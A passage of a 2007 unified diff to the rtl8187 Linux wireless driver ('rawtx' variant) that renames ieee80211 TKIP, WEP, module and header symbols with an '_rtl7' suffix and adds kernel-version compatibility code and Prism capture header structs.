tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +335,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +392,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +438,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +459,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +506,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +518,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +529,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +550,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +566,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +574,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +583,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +595,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +611,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +641,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +671,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +698,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-05-26 10:38:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +50,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +82,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +97,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +161,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +213,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +227,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +240,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +249,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-05-26 10:38:11.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-05-26 10:38:07.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-05-26 10:38:07.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if 